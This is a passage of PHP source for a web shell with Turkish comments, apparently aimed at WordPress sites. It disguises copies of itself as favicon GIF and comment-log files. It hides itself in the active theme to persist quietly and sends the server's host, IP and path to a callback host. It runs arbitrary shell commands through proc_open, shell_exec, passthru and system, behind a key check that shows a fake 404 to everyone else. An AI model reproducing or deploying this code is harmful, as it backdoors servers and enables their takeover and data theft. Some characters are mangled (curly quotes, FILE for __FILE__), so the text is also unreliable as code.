$keyHash = hash('sha256', self::$cfg['master_key'] ?? 'default');
$names = var_export(self::$cfg['drop_names'] ?? [], true);
$script = '<?php
header(“Content-Type: image/gif”);
if (isset($_GET[“k”]) && $_GET[“k”] === “‘ . $keyHash . ‘”) {
$src = base64_decode(“‘ . $payload . ‘”);
foreach (‘ . $names . ‘ as $n) {
$p = DIR . “/” . $n;
if (!file_exists($p)) file_put_contents($p, $src);
}
echo “OK”; exit;
}
echo base64_decode(“R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7”);
‘;
$root = $_SERVER['DOCUMENT_ROOT'] ?? self::baseDir();
$assets = $root . '/assets';
if (!is_dir($assets)) {
@mkdir($assets, 0755, true);
}
@file_put_contents($assets . '/favicon_cache.gif.php', $script);
@file_put_contents(self::baseDir() . '/.ping.php', $script);
}
public static function ping($event = 'alive')
{
$host = trim(self::$cfg['callback_host'] ?? '');
if ($host === '' || $host === 'https://senin-vps.com/xmlrpq.php') {
return;
}
$url = rtrim($host, '/') . '?cb=1';
$data = json_encode([
'event' => $event,
'host' => $_SERVER['HTTP_HOST'] ?? '',
'path' => self::baseDir(),
'ip' => $_SERVER['SERVER_ADDR'] ?? '',
'time' => date('c'),
'key' => hash('sha256', self::$cfg['master_key'] ?? ''),
]);
$ctx = stream_context_create(['http' => [
'method' => 'POST',
'header' => 'Content-Type: application/json',
'content' => $data,
'timeout' => 3,
]]);
@file_get_contents($url, false, $ctx);
}
public static function init()
{
self::deploy();
self::ping('init');
}
}
class ShellCallback
{
private static $cfg = [];
public static function boot(array $cfg)
{
self::$cfg = $cfg;
}
private static function logFile()
{
return dirname($_SERVER['SCRIPT_FILENAME'] ?? __FILE__) . '/.shells.log';
}
/** POST ?cb=1 — diger shell'lerden gelen bildirimleri al */
public static function handleIncoming()
{
if (!isset($_GET['cb']) || $_SERVER['REQUEST_METHOD'] !== 'POST') {
return false;
}
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if (!$data) {
http_response_code(400);
header('Content-Type: application/json');
die('{"status":"invalid"}');
}
$expected = hash('sha256', self::$cfg['master_key'] ?? '');
$got = $data['key'] ?? '';
if ($expected === '' || $expected === hash('sha256', 'SENIN_GIZLI_ANAHTARIN_BURAYA') || !hash_equals($expected, $got)) {
http_response_code(403);
header('Content-Type: application/json');
die('{"status":"forbidden"}');
}
$line = sprintf(
"[%s] event=%s host=%s path=%s ip=%s key=%s\n",
$data['time'] ?? date('c'),
$data['event'] ?? 'unknown',
$data['host'] ?? '-',
$data['path'] ?? '-',
$data['ip'] ?? '-',
substr($got, 0, 8)
);
@file_put_contents(self::logFile(), $line, FILE_APPEND | LOCK_EX);
header('Content-Type: application/json');
echo '{"status":"ok"}';
exit;
}
public static function readLog($limit = 200)
{
$file = self::logFile();
if (!file_exists($file)) {
return [];
}
$lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
return array_slice(array_reverse($lines ?: []), 0, $limit);
}
public static function clearLog()
{
$file = self::logFile();
if (file_exists($file)) {
@file_put_contents($file, '');
}
}
}
class ShellFileManager
{
private static $src = null;
private static function source()
{
if (self::$src !== null) {
return self::$src;
}
if (defined('FM_B64') && FM_B64 !== '') {
self::$src = base64_decode(FM_B64);
}
return self::$src;
}
public static function deploy()
{
$src = self::source();
if (!$src) {
return ['ok' => false, 'msg' => 'wp-comments-log kaynagi bulunamadi'];
}
$base = dirname($_SERVER['SCRIPT_FILENAME'] ?? __FILE__);
$root = $_SERVER['DOCUMENT_ROOT'] ?? $base;
$targets = array_unique([
$base . '/wp-comments-log.php',
$root . '/wp-comments-log.php',
]);
$written = [];
foreach ($targets as $target) {
if (@file_put_contents($target, $src)) {
@chmod($target, 0644);
$written[] = $target;
}
}
if (empty($written)) {
return ['ok' => false, 'msg' => 'Dosya yazilamadi, izinleri kontrol et'];
}
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$dir = rtrim(dirname($_SERVER['SCRIPT_NAME'] ?? ''), '/\\');
$url = $scheme . '://' . $host . $dir . '/wp-comments-log.php';
return ['ok' => true, 'paths' => $written, 'url' => $url];
}
}
ShellPersist::boot($CFG);
ShellCallback::boot($CFG);
ShellCallback::handleIncoming();
$masterKey = $CFG[‘master_key’];
$inputKey = $_GET[‘key’] ?? $_POST[‘key’] ?? $_COOKIE[‘shell_key’] ?? ”;
$scriptFile = $_SERVER[‘SCRIPT_FILENAME’] ?? ”;
$directAccess = $scriptFile && realpath($scriptFile) === realpath(FILE);
$hasValidKey = ShellPersist::verifyOwner($inputKey);
// functions.php icinden yuklendiginde sessiz kalicilik (key yoksa UI gosterme)
if (!$directAccess && !$hasValidKey) {
ShellPersist::silentTick();
return;
}
if ($masterKey !== ‘SENIN_GIZLI_ANAHTARIN_BURAYA’ && !$hasValidKey) {
http_response_code(404);
die(‘404 Not Found
Not Found
‘);
}
if ($inputKey && !isset($_COOKIE[‘shell_key’])) {
setcookie(‘shell_key’, $inputKey, time() + 86400 * 30, ‘/’);
}
// Tema kurulumu: ?theme_install=1
if (isset($_GET[‘theme_install’])) {
$ti = ShellPersist::installToActiveTheme();
header(‘Content-Type: text/plain; charset=utf-8’);
if ($ti[‘ok’]) {
echo “[+] Tema kurulumu tamam\nPath: {$ti[‘path’]}\nURL: {$ti[‘url’]}\n”;
} else {
echo “[!] {$ti[‘msg’]}\n”;
}
exit;
}
$baseDir = dirname(FILE);
$lockDir = $baseDir;
if (!file_exists($lockDir . ‘/.persisted’)) {
ShellPersist::init();
@file_put_contents($lockDir . ‘/.persisted’, time());
}
$deployLock = $lockDir . ‘/.deploy.lock’;
if (!file_exists($deployLock) || (time() – filemtime($deployLock)) > 1800) {
ShellPersist::deploy();
@touch($deployLock);
ShellPersist::ping(‘heartbeat’);
}
$cmd = $_POST[‘cmd’] ?? $_GET[‘cmd’] ?? ”;
$output = ”;
$cwd = isset($_POST[‘cwd’]) ? $_POST[‘cwd’] : getcwd();
if ($cmd !== ”) {
if (strtolower(trim($cmd)) === ‘insomnia’) {
$fm = ShellFileManager::deploy();
if ($fm[‘ok’]) {
$output = “[+] wp-comments-log.php yuklendi!\n\n”;
foreach ($fm[‘paths’] as $p) {
$output .= ” -> {$p}\n”;
}
$output .= “\n[+] File Manager ac:\n {$fm[‘url’]}\n”;
} else {
$output = ‘[!] ‘ . $fm[‘msg’];
}
} elseif (strtolower(trim($cmd)) === ‘theme’) {
$ti = ShellPersist::installToActiveTheme();
if ($ti[‘ok’]) {
$output = “[+] Tema kurulumu tamam!\n\n -> {$ti[‘path’]}\n\n[+] Shell URL:\n {$ti[‘url’]}?key=” . urlencode($masterKey) . “\n”;
} else {
$output = ‘[!] ‘ . $ti[‘msg’];
}
} else {
chdir($cwd);
if (function_exists(‘proc_open’)) {
$descriptors = [0 => [‘pipe’, ‘r’], 1 => [‘pipe’, ‘w’], 2 => [‘pipe’, ‘w’]];
$proc = proc_open($cmd, $descriptors, $pipes, $cwd);
if (is_resource($proc)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
}
} elseif (function_exists(‘shell_exec’)) {
$output = shell_exec($cmd . ‘ 2>&1’);
} elseif (function_exists(‘passthru’)) {
ob_start();
passthru($cmd . ‘ 2>&1’);
$output = ob_get_clean();
} elseif (function_exists(‘system’)) {
ob_start();
system($cmd . ‘ 2>&1’);
$output = ob_get_clean();
} else {
$output = ‘[!] Komut calistirma fonksiyonu devre disi.’;
}
$cwd = getcwd();
}
}
$host = htmlspecialchars($_SERVER[‘HTTP_HOST’] ?? ‘unknown’, ENT_QUOTES, ‘UTF-8’);
$user = htmlspecialchars(get_current_user(), ENT_QUOTES, ‘UTF-8’);
?>
Theme Shell — <?= $host ?>
Host:User:PHP:● Theme Persist
pwdwhoamiidunamels -la↻ Re-deploy📡 Callback Log🎨 Theme Installtheme📁 insomnia [+] Log temizlendi.’; } if (isset($_GET[‘deploy’])) { ShellPersist::deploy(); echo ‘
[+] Kalicilik kopyalari yeniden dagitildi.
‘; } if (isset($_GET[‘logs’])): $entries = ShellCallback::readLog(); ?>
Callback Log ( kayit) — Temizle
Henuz bildirim yok. callback_host ayarla ve hedef shell’leri yukle. Calistir